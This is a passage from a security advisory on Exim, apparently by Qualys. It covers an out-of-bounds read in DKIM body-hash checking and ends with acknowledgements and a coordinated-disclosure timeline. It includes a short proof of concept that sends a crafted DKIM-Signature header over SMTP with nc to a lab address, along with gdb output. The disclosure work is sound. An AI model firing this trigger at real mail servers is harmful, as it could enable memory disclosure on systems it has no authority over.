2039 826 && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
2046 838 sig->verify_status = PDKIM_VERIFY_FAIL;
2047 839 sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
2051 ------------------------------------------------------------------------
2053 Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled
2054 (through a "DKIM-Signature:" mail header) and memcmp() is called without
2055 checking first that sig->bodyhash.len is equal to b->bh.len: memcmp()
2056 can read sig->bodyhash.data out-of-bounds.
2058 If the acl_smtp_dkim is set (it is unset by default), an unauthenticated
2059 remote attacker may transform this vulnerability into an information
2060 disclosure; we have not fully explored this possibility.
2062 ------------------------------------------------------------------------
2064 ------------------------------------------------------------------------
2070 echo 'MAIL FROM:<>';
2072 echo 'RCPT TO:postmaster';
2076 printf 'DKIM-Signature:a=rsa-sha512;bh=QUFB\r\n\r\nXXX\r\n.\r\n';
2078 ) | nc -n -v 192.168.56.101 25
2080 Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=<optimized out>) at pdkim.c:825
2081 (gdb) print sig->bodyhash
2082 $2 = {data = 0x55e181b9ed10 "AAA", len = 3}
2083 (gdb) print b->bh.len
2086 ------------------------------------------------------------------------
2088 ------------------------------------------------------------------------
2090 This vulnerability was introduced in Exim 4.70:
2092 ------------------------------------------------------------------------
2093 commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543
2094 Date: Wed Jun 10 07:34:04 2009 +0000
2096 + if (memcmp(bh,sig->bodyhash,
2097 + (sig->algo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) {
2098 ------------------------------------------------------------------------
2102 ========================================================================
2104 ========================================================================
2106 We thank Exim's developers for their hard work on this security release.
2107 We thank Mitre's CVE Assignment Team for their quick responses to our
2108 requests. We thank Damien Miller for his kind answers to our seteuid()
2109 questions. We also thank the members of distros@openwall.
2113 ========================================================================
2115 ========================================================================
2117 2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we
2118 audited central parts of the code, discovered multiple vulnerabilities,
2119 and are working on an advisory. Exim immediately acknowledged our mail.
2121 2020-10-28: We sent the first draft of our advisory to Exim. They
2122 immediately acknowledged our mail, and started to work on patches.
2124 2020-10-29: We sent a list of 10 secondary issues to Exim (to the best
2125 of our knowledge, these issues are not CVE-worthy).
2127 2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the
2128 same day, and we immediately transmitted them to Exim.
2130 2020-11-13: Exim gave us read access to their private Git repository. We
2131 started reviewing their first set of patches (which tackled 7 CVEs).
2133 2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim
2134 (several patches were incomplete).
2136 2020-12-02: A second set of patches (which tackled 7 secondary issues)
2137 appeared in Exim's private Git repository. We started reviewing it.
2139 2020-12-09: We sent our second patch review to Exim.
2141 2021-01-28: We mailed Exim and offered to work on the incomplete and
2142 missing patches (the last commit in Exim's private Git repository dated
2145 2021-02-05: Exim acknowledged our mail. We started to write a minimal
2146 but complete set of patches (on top of exim-4.94+fixes).
2148 2021-02-15: While working on a patch for CVE-2020-28014, we discovered
2149 CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a
2152 2021-02-24: We completed our minimal set of patches and sent it to Exim.
2154 2021-04-17: Exim proposed 2021-05-04 for the Coordinated Release Date.
2156 2021-04-19: We accepted the proposed Coordinated Release Date.
2158 2021-04-21: Exim publicly announced the impending security release.
2160 2021-04-27: Exim provided packagers and maintainers (including
2161 distros@openwall) with access to their security Git repository.
2163 2021-04-28: We sent a draft of our advisory and our minimal set of
2164 patches to distros@openwall.
2166 2021-05-04: Coordinated Release Date (13:30 UTC).